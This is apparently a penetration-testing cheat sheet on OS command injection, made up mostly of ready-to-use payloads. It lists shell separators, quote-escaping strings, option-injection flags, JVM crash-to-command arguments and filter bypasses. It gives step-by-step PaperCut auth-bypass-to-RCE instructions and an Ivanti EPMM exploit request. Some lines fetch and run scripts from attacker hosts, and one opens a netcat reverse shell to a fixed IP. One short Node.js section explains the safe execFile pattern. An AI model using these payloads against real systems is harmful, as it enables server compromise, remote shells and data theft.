Skip to main content
Command injection permits the execution of arbitrary OS commands by an attacker on the server hosting an application, potentially fully compromising the application and its data.

Basic Payloads

# Supported on both Unix and Windows
ls||id; ls ||id; ls|| id; ls || id  # Execute both
ls|id; ls |id; ls| id; ls | id     # Execute both via pipe
ls&&id; ls &&id; ls&& id; ls && id # Execute 2nd if 1st succeeds
ls&id; ls &id; ls& id; ls & id     # Execute both (only 2nd output)
ls %0A id                          # %0A (newline) executes both

# Unix only
`ls`
$(ls)
ls; id                             # Semicolon chain

# Redirect output
> /var/www/html/out.txt
< /etc/passwd

Context Escaping

Depending on where your input is injected, you may need to terminate the quoted context first:
# Inside single quotes
vuln_param='; id; echo '

# Inside double quotes
vuln_param="; id; echo "

# Inside backtick
vuln_param='`; id; `'

Top Vulnerable Parameters

?cmd=    ?exec=    ?command=    ?execute=
?ping=   ?query=   ?jump=       ?code=
?reg=    ?do=      ?func=       ?arg=
?option= ?load=    ?process=    ?step=
?read=   ?req=     ?feature=    ?exe=
?module= ?payload= ?run=        ?print=

Node.js child_process.exec vs execFile

exec() spawns a shell (/bin/sh -c), so any shell metacharacters in user input result in command injection. Always use execFile() or spawn() with separate argument arrays.
// VULNERABLE: shell metacharacters interpreted
const { exec } = require('child_process');
exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(payload)}'`, callback);

// SAFE: no shell involved
const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
  '--id_user', id_user,
  '--payload', JSON.stringify(payload)
]);
Real-world case: Synology Photos ≤ 1.7.0-0794 was exploitable via a WebSocket event placing attacker-controlled data into an exec() call (Pwn2Own Ireland 2024).

Argument/Option Injection via Leading Hyphen

Not all injections require shell metacharacters. If untrusted strings are passed as arguments to system utilities (even with execFile), programs parse - and -- arguments as options:
# ping option injection
-f       # flood ping (DoS)
-c 100000  # large count

# curl option injection
-o /tmp/x           # write output to file
-K <url>            # load attacker config

# tcpdump option injection
-G 1 -W 1 -z /path/script.sh   # post-rotate execution

Bash Arithmetic Evaluation Injection

RewriteMap helpers in bash using arithmetic contexts ([[ $a -gt $b ]], $((...)), let) re-expand variables:
# Ivanti EPMM pattern
# Send: st=theValue&h=gPath['sleep 5']
# gStartTime becomes "theValue", theValue contains array index
# During arithmetic check: executes sleep 5

curl -k "https://TARGET/mifs/c/appstore/fob/ANY?st=theValue&h=gPath['sleep 5']"

JVM Diagnostic Callbacks for Guaranteed RCE

Any primitive that lets you inject JVM command-line arguments can be turned into reliable RCE:
# Force crash + run OS command on OOM
-XX:MaxMetaspaceSize=16m -XX:OnOutOfMemoryError="cmd.exe /c powershell -nop -EncodedCommand <blob>"
-XX:MaxMetaspaceSize=12m -XX:OnOutOfMemoryError="/bin/sh -c 'curl https://attacker/p.sh | sh'"
Because these diagnostics are parsed by the JVM itself, no shell metacharacters are required.

Blind Exfiltration

# Extract char by char using timing
time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
# Takes 5 seconds = first char is 's'

time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
# No delay = first char is not 'a'

Filter Bypasses

powershell C:**2\n??e*d.*?   # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e  # calc

PaperCut NG/MF Auth Bypass → Print Scripting RCE

1. Browse to /app?service=page/SetupCompleted and click Login (auth bypass)
2. Options → Config Editor: set print-and-device.script.enabled=Y
   and print.script.sandboxed=N
3. In printer Scripting tab, place payload outside the function:
function printJobHook(inputs, actions) {}
cmd = ["bash","-c","curl http://attacker/hit"];
java.lang.Runtime.getRuntime().exec(cmd);

Real-World Examples

# wget-based stager
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php

# netcat reverse shell
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80

# Base64 encoded payload execution
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay

Resources

Build docs developers (and LLMs) love